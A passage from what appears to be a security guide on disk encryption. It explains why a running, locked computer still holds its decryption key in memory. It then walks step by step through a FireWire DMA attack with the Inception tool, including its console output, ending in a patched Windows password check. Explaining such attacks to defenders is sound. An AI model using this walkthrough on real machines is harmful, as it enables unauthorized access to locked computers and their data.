into your computer. Even if the screen is locked (which would foil the “reboot” and “hard drive removal” attacks described briefly above), an attacker may still find a way to access your sensitive data, while the computer is up and running, because the decryption key is present in the computer’s memory. (This is how large-scale encryption actually works. Information remains encrypted at all times, on the storage device where it lives, but you are able to access it while you are logged in, or while your encrypted volume is “open,” because your computer decrypts and encrypts it on the fly.) Walkthrough Step 1: First, the attacker would connect her computer to the victim’s using a Firewire cable. Either or both machines could be using a true Firewire port or a Firewire expansion card. When a Firewire ExpressCard expansion card is inserted, Windows automatically installs and configures the necessary drivers, even if nobody is logged into the laptop. Step 2: Once connected, the attacker simply runs the Inception tool, selects the operating system of the target machine and waits a minute or two for the attack to complete (depending on the amount of RAM present): $ incept _| _| _| _|_| _| _| _| _| _| _| _| _|_| _| _| _| _| _|_|_| _| _|_|_|_| _| _|_|_| _| _| _| _|_|_| _| _|_|_| _|_|_| _| _| _| _|_| _| _| _| _|_| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _| _|_| _| _| _| _| v.0.2.0 (C) Carsten Maartmann-Moe 2012 Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter [*] FireWire devices on the bus (names may appear blank): -------------------------------------------------------------------------------[1] Vendor (ID): MICROSOFT CORP. (0x50f2) | Product (ID): (0x0) -------------------------------------------------------------------------------[*] Only one device present, device auto-selected as target [*] Selected device: MICROSOFT CORP. [*] Available targets: -------------------------------------------------------------------------------[1] Windows 8: msv1_0.dll MsvpPasswordValidate unlock/privilege escalation [2] Windows 7: msv1_0.dll MsvpPasswordValidate unlock/privilege escalation [3] Windows Vista: msv1_0.dll MsvpPasswordValidate unlock/privilege escalation [4] Windows XP: msv1_0.dll MsvpPasswordValidate unlock/privilege escalation [5] Mac OS X: DirectoryService/OpenDirectory unlock/privilege escalation [6] Ubuntu: libpam unlock/privilege escalation -------------------------------------------------------------------------------[!] Please select target (or enter 'q' to quit): 2 [*] Selected target: Windows 7: msv1_0.dll MsvpPasswordValidate unlock/privilege escalation [*] Initializing bus and enabling SBP-2, please wait 1 seconds or press Ctrl+C [*] DMA shields should be down by now. Attacking... [*] Searching, 1328 MiB so far [*] Signature found at 0x8b50c321 (in page # 570636) [*] Write-back verified; patching successful Page 77 of 240